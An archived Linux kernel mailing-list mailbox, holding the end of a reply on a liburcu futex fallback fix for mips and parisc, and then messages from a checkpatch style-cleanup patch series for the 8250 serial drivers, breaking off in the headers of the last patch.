[pid  1329] <... futex resumed> )       = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
[pid  1329] write(2, "[FAIL] futex returns -1, Functio"..., 50[FAIL] futex returns -1, Function not implemented)


> > Therefore, fallback on the "async-safe" version of compat_futex in those
> > situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
> > the nice property of being OK to use concurrently with other FUTEX_WAKE
> > and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
> > 
> > We suspect that parisc might be affected by a similar issue (Debian
> > build bots reported a similar hang on both mips and parisc), but we do
> > not have access to the hardware required to test this hypothesis.

If you want access to a machine, let me know.
I'll try the patch below as well..

> > Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> > CC: Michael Jeanson <mjeanson@efficios.com>
> > CC: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > CC: Ralf Baechle <ralf@linux-mips.org>
> > CC: linux-mips@linux-mips.org
> > CC: linux-kernel@vger.kernel.org
> > CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
> > CC: Helge Deller <deller@gmx.de>
> > CC: linux-parisc@vger.kernel.org
> > ---
> > compat_futex.c |  2 ++
> > urcu/futex.h   | 12 +++++++++++-
> > 2 files changed, 13 insertions(+), 1 deletion(-)
> > 
> > diff --git a/compat_futex.c b/compat_futex.c
> > index b7f78f0..9e918fe 100644
> > --- a/compat_futex.c
> > +++ b/compat_futex.c
> > @@ -111,6 +111,8 @@ end:
> >  * _ASYNC SIGNAL-SAFE_.
> >  * For now, timeout, uaddr2 and val3 are unused.
> >  * Waiter will busy-loop trying to read the condition.
> > + * It is OK to use compat_futex_async() on a futex address on which
> > + * futex() WAKE operations are also performed.
> >  */
> > 
> > int compat_futex_async(int32_t *uaddr, int op, int32_t val,
> > diff --git a/urcu/futex.h b/urcu/futex.h
> > index 4d16cfa..a17eda8 100644
> > --- a/urcu/futex.h
> > +++ b/urcu/futex.h
> > @@ -73,7 +73,17 @@ static inline int futex_noasync(int32_t *uaddr, int op,
> > int32_t val,
> > 
> > 	ret = futex(uaddr, op, val, timeout, uaddr2, val3);
> > 	if (caa_unlikely(ret < 0 && errno == ENOSYS)) {
> > -		return compat_futex_noasync(uaddr, op, val, timeout,
> > +		/*
> > +		 * The fallback on ENOSYS is the async-safe version of
> > +		 * the compat futex implementation, because the
> > +		 * async-safe compat implementation allows being used
> > +		 * concurrently with calls to futex(). Indeed, sys_futex
> > +		 * FUTEX_WAIT, on some architectures (e.g. mips), within
> > +		 * a given process, spuriously return ENOSYS due to
> > +		 * signal restart bugs on some kernel versions (e.g.
> > +		 * Linux kernel 3.18 and possibly earlier).
> > +		 */
> > +		return compat_futex_async(uaddr, op, val, timeout,
> > 				uaddr2, val3);
> > 	}
> > 	return ret;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v2 00/11] tty: serial: 8250: Fix checkpatch warnings
Date: Fri, 18 Dec 2015 12:21:52 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1450437763 1564 80.91.229.3 (18 Dec 2015 11:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:22:43 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 12:22:32 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9t7G-0006Bl-4b
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 12:22:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752559AbbLRLW3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 06:22:29 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38879 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752035AbbLRLW2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:28 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id DD8D958C4CA;
	Fri, 18 Dec 2015 12:22:23 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:23 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26211 gmane.linux.serial:21148 gmane.linux.kernel:2111556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26211>

Hello Peter,

thanks for your feedback. We updated the patches according to your remarks.

Regards,
Phillip Raffeck
Anton Wuerfel

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/11:  Adds missing spaces (mainly to function/macro headers)
Patch 2/11:  Replace spaces with tabs wherever possible
Patch 3/11:  Slight patch which moves an opening curly brace
Patch 4/11:  Fixes multiline comment style
Patch 5/11:  Removes else blocks after return statements
Patch 6/11:  Slight patch which moves EXPORT_SYMBOL macro to correct position
Patch 7/11:  Slight patch which removes an unneccessary line continuation
Patch 8/11:  Slight patch which adds parentheses to a macro definition
Patch 9/11:  Merges user-visible multiline strings to a single line
Patch 10/11: Replaces printk by corresponding variant of pr_*
Patch 11/11: Fixes code indentation

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.

-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (11):
Phillip Raffeck (11):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Replace printk by pr_*
  tty: serial: 8250: Fix indentation warnings

 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_gsc.c           |  6 +-
 drivers/tty/serial/8250/8250_hp300.c         | 25 ++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 49 +++++++--------
 drivers/tty/serial/8250/8250_pnp.c           | 16 ++---
 drivers/tty/serial/8250/8250_port.c          | 50 ++++++++--------
 drivers/tty/serial/8250/serial_cs.c          | 89 +++++++++++++++-------------
 14 files changed, 142 insertions(+), 132 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Fri, 18 Dec 2015 12:22:02 +0100
Lines: 178
Approved: news@gmane.org
Message-ID: <1450437723-2978-11-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437783 2195 80.91.229.3 (18 Dec 2015 11:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:23:03 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:22:52 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t7b-00075x-3f
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:22:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752777AbbLRLWl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:22:41 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38979 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752735AbbLRLWi (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:38 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id C7BDC58C4D2;
	Fri, 18 Dec 2015 12:22:35 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:35 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111557 gmane.linux.serial:21149 gmane.linux.ports.parisc:26212
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111557>

This patch replaces printk by the corresponding variant of pr_* in orde=
r to
fix checkpatch warnings. This comes with a slight change in behaviour a=
s
pr_debug is configurable via CONFIG_DYNAMIC_DEBUG, whereas
printk(KERN_DEBUG ...) is not.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  6 ++----
 drivers/tty/serial/8250/8250_hp300.c | 18 +++++++++---------
 drivers/tty/serial/8250/8250_pnp.c   |  6 +++---
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 5 files changed, 17 insertions(+), 21 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..a9b63d0 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,8 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
-				"Serial: device 0x%llx not configured.\n"
+			pr_info("Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
 		return -ENODEV;
@@ -66,8 +65,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		pr_warn("serial8250_register_8250_port returned error %d\n", err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..9123e31 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("hp300_setup_serial_console(): early_serial_setup() failed.\=
n");
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,8 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		pr_notice("8250_hp300: register_serial() DCA scode %d irq %d failed\=
n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +260,8 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			pr_notice("8250_hp300: register_serial() APCI %d irq %d failed\n",
+				  i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ffa7354..1ed67e0 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,9 +465,9 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 #ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
+	pr_debug("Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
 #endif
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 99f709c..343d050 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 06/11] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Fri, 18 Dec 2015 12:21:58 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1450437723-2978-7-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437784 2206 80.91.229.3 (18 Dec 2015 11:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:23:04 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:22:52 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t7a-00075x-Fw
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:22:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752737AbbLRLWh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:22:37 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38955 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752629AbbLRLWd (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:33 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 389BD58C4E5;
	Fri, 18 Dec 2015 12:22:31 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:31 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111558 gmane.linux.serial:21150 gmane.linux.ports.parisc:26213
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111558>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v2 11/11] tty: serial: 8250: Fix indentation warnings
Date: Fri, 18 Dec 2015 12:22:03 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <1450437723-2978-12-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437801 2406 80.91.229.3 (18 Dec 2015 11:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:23:21 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 12:23:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9t7u-0007PY-Pa
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 12:23:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752132AbbLRLW5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 06:22:57 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38955 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752629AbbLRLWj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:39 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id F31C458C4D6;
	Fri, 18 Dec 2015 12:22:36 +0100 (CET)
